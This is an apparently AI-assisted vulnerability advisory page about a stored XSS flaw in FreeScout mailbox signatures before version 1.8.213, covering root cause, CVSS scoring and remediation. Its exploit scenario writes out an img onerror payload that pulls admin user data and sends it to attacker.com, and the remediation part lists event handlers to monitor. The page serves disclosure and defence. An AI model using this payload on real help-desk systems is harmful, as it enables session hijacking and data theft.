Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with low-privilege account
-
DeliveryNavigate to mailbox signature settings
-
ExploitInject malicious HTML with event handler
-
InstallSave poisoned signature to database
-
C2Victim opens conversation in affected mailbox
-
ExecuteMalicious script executes in victim context
-
ImpactExfiltrate session tokens or perform privileged actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must possess a valid authenticated FreeScout account with the ACCESS_PERM_SIGNATURE (sig) permission on at least one mailbox - a delegatable, non-administrator permission commonly granted to support agents who need to customize mailbox signatures. This permission is mailbox-specific rather than global, meaning an attacker needs signature rights only on a single mailbox to inject the payload into that mailbox's conversations. No special network position, non-default configuration, or specific FreeScout deployment mode is required beyond standard installation. Exploitation is limited to versions prior to 1.8.213. The payload triggers automatically (UI:N in CVSS) whenever any authenticated user with conversation access opens any ticket in the poisoned mailbox, requiring no victim interaction beyond normal help desk workflow. The changed scope (S:C in CVSS) indicates the attacker's privileges on one mailbox can affect users of other mailboxes through session hijacking or worm propagation. Maximum impact (session hijacking via cookie theft) requires either legacy browsers without strong CSP enforcement (Internet Explorer 11), weakened CSP policies due to unsafe-inline allowances or module loading, or the absence of HttpOnly flags on session cookies. However, phishing overlays and mass assignment attacks work regardless of CSP configuration in all modern browsers. |
| Impact | The CVSS 3.1 score of 8.5 (High) reflects the severe combination of network-based attack vector (AV:N), low complexity (AC:L), low privilege requirement (PR:L), no user interaction (UI:N), and changed scope (S:C) with high confidentiality impact. The changed scope metric is particularly significant, indicating that successful exploitation affects resources beyond the vulnerable component's security scope - in this case, compromising all users who view conversations in the poisoned mailbox. The PR:L rating means any authenticated user with delegatable signature permissions can exploit this, not just administrators, significantly expanding the threat surface in multi-agent help desk environments. The UI:N rating indicates the payload executes automatically when victims simply open a conversation, requiring no phishing or social engineering. Real-world risk is elevated because: (1) the attack persists across sessions until remediated, (2) it can propagate worm-like across all mailboxes if the attacker chains to mass assignment vulnerabilities, (3) phishing overlays work regardless of CSP in all browsers, and (4) the attacker only needs low-privilege access that is routinely delegated to support staff. However, risk is moderated by the authentication requirement - external attackers must first compromise a valid account with signature permissions. No EPSS score, CISA KEV listing, or public POC code was provided in the input data, suggesting this has not yet been widely exploited in the wild, though the detailed technical disclosure in the GitHub advisory significantly lowers the barrier to weaponization. Organizations running FreeScout should treat this as an urgent patch priority, especially if multiple agents have signature permissions or if the instance is exposed to untrusted internal users. |
| Exploit ScenarioDerived | An attacker with a low-privilege FreeScout account (e.g., a disgruntled support agent or compromised contractor account) who has been granted signature editing permission on any mailbox navigates to the mailbox settings and edits the signature field. They inject malicious HTML such as <img src=x onerror='fetch("/api/admin/users").then(r=>r.json()).then(d=>fetch("https://attacker.com/steal?data="+btoa(JSON.stringify(d))))'> into the signature and save it. The next time any administrator or agent opens any conversation in that mailbox, the signature renders at the bottom of the editor, the onerror event fires immediately without any user interaction, and the JavaScript payload executes in the victim's browser context. The script can exfiltrate session tokens, perform authenticated actions as the victim (including creating new admin accounts via mass assignment if other vulnerabilities exist), or inject phishing overlays that harvest credentials. If the victim has signature permissions on other mailboxes, the attacker's script can automatically propagate the payload to those mailboxes, creating a self-replicating worm that spreads across the entire FreeScout instance. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 21, 2026
Stored cross-site scripting in FreeScout versions prior to 1.8.213 allows authenticated users with mailbox signature permissions to inject arbitrary JavaScript that executes automatically whenever any agent or administrator opens a conversation in the affected mailbox. The vulnerability stems from inadequate HTML sanitization (blocklisting only four tags: script, form, iframe, object) that permits event handlers on elements like <img>, <svg>, and <details>. Exploitation requires only low-privilege authenticated access (ACCESS_PERM_SIGNATURE permission) and triggers without user interaction (CVSS UI:N), enabling session hijacking under certain CSP bypass conditions, phishing overlays, email exfiltration via mass assignment, and self-propagating worm behavior across all mailboxes. EPSS data not provided; no public exploit code or CISA KEV listing identified at time of analysis. Vendor-released patch available in version 1.8.213.
RemediationAI
Upgrade immediately to FreeScout version 1.8.213 or later, which fixes the vulnerability as documented in the release at https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213. The fix is implemented in commit 1d83e1cffb0bf8d109625313530b36b0f5910b3f (https://github.com/freescout-help-desk/freescout/commit/1d83e1cffb0bf8d109625313530b36b0f5910b3f), which replaces the incomplete blocklist-based sanitization with more robust HTML filtering. Organizations unable to patch immediately should implement compensating controls: (1) Audit and temporarily revoke ACCESS_PERM_SIGNATURE (sig) permissions from all non-essential users, limiting signature editing to only highly trusted administrators - this reduces attack surface but impacts operational workflows where agents need signature customization. (2) Implement database-level monitoring for mailbox signature changes and inspect existing signatures for suspicious HTML elements (img, svg, details, video, audio) with event handler attributes (onerror, onload, ontoggle, onmouseover, etc.) - this is labor-intensive and requires manual review of potentially obfuscated payloads. (3) Deploy a Web Application Firewall (WAF) rule to block signature update requests containing common XSS event handlers, though this may be bypassed via encoding or uncommon event types. (4) If using a reverse proxy, strengthen Content Security Policy headers to restrict script-src to 'self' only with nonces, though the advisory notes this is partially effective and can be bypassed in IE11 or weakened by jQuery/module usage. None of these mitigations are complete substitutes for patching; upgrading to 1.8.213 is the only definitive remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FreeScout is a PHP-based self-hosted help desk and shared mailbox system. The vulnerability exists in the mailbox signature feature's HTML sanitization routine Helper::stripDangerousTags() (app/Misc/Helper.php:568), which implements an incomplete blocklist approach that removes only four HTML element types (script, form, iframe, object) while completely ignoring event handler attributes. When signatures are saved via MailboxesController::updateSave() (app/Http/Controllers/MailboxesController.php:267), dangerous constructs like <img onerror='...'>, <svg onload='...'>, and <details ontoggle='...'> pass through unchanged and persist to the database. The stored payload is then rendered unsafely using Laravel Blade's raw output syntax {!! !!} in editor_bottom_toolbar.blade.php:6 and dynamically re-inserted into the live DOM via jQuery's .html() method at main.js:1789-1790, causing immediate script execution. This is a classic CWE-79 stored XSS vulnerability caused by relying on blocklisting rather than allowlisting for HTML sanitization, combined with unsafe rendering patterns that treat user-controlled data as trusted HTML. The CPE identifier cpe:2.3:a:freescout-help-desk:freescout:*:*:*:*:*:*:*:* confirms all versions prior to the 1.8.213 patch are affected.
Know when Freescout gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a stored cross-site scripting (XSS) vulnerability in the mailbox signature feature. The sanitization function Helper::stripDangerousTags() (app/Misc/Helper.php:568) uses an incomplete blocklist of only four HTML tags (script, form, iframe, object) and does not remove event handler attributes. When a mailbox signature is saved via MailboxesController::updateSave() (app/Http/Controllers/MailboxesController.php:267), HTML elements such as <img>, <svg>, and <details> with event handler attributes like onerror and onload pass through sanitization unchanged and are stored in the database. The signature is then rendered as raw HTML via the Blade {!! !!} tag in editor_bottom_toolbar.blade.php:6 and re-inserted into the visible DOM by jQuery .html() at main.js:1789-1790, triggering the injected event handlers. Any authenticated user with the ACCESS_PERM_SIGNATURE (sig) permission on a mailbox -- a delegatable, non-admin permission -- can inject arbitrary HTML and JavaScript into the mailbox signature. The payload fires automatically, with no victim interaction, whenever any agent or administrator opens any conversation in the affected mailbox. This enables session hijacking (under CSP bypass conditions such as IE11 or module-weakened CSP), phishing overlays that work in all browsers regardless of CSP, and chaining to admin-level actions including email exfiltration via mass assignment and self-propagating worm behavior across all mailboxes. Version 1.8.213 fixes the issue.
Executive ViewAI
FreeScout versions prior to 1.8.213 contain a stored cross-site scripting vulnerability that allows authenticated users with mailbox signature permissions to inject malicious JavaScript affecting all agents and administrators who access conversations in that mailbox. This enables session hijacking, credential theft, and potential worm-like propagation across the entire email management system, creating a high-risk insider threat and multi-user compromise scenario.
Vendor-released patch: FreeScout version 1.8.213. Until patched: (1) Restrict mailbox signature modification permissions to highly trusted administrators only; (2) Implement network-level Content Security Policy headers blocking inline script execution; (3) Monitor FreeScout audit logs for signature modifications; (4) Isolate and review all signatures in affected mailboxes for suspicious event handlers or encoded JavaScript.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
File upload bypass in FreeScout 1.8.206 — patch bypass for CVE-2026-27636. PoC and patch available. CVSS 10.0.
Remote code execution in FreeScout prior to version 1.8.206 allows authenticated users to upload `.htaccess` files that
Predictable password reset tokens in FreeScout help desk before 1.8.206. Weak random number generation allows attackers
Anonymous account takeover in FreeScout help desk before 1.8.224 lets an unauthenticated attacker seize the lowest-id ac
FreeScout is a self-hosted help desk and shared mailbox. Rated critical severity (CVSS 9.0), this vulnerability is remot
FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Rated high severity (CVSS 8.6), this
FreeScout is a self-hosted help desk and shared mailbox. Rated high severity (CVSS 8.0), this vulnerability is remotely
FreeScout is an open source help desk and shared inbox built with PHP. Rated high severity (CVSS 7.1), this vulnerabilit
FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.3), this vulnerability is r
FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.1), this vulnerability is r
A stored cross-site scripting (XSS) vulnerability exists in FreeScout help desk software versions 1.8.208 and below, whe
Arbitrary file write in FreeScout (prior to 1.8.215) allows authenticated administrators to achieve remote code executio
EUVD-2026-24169
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB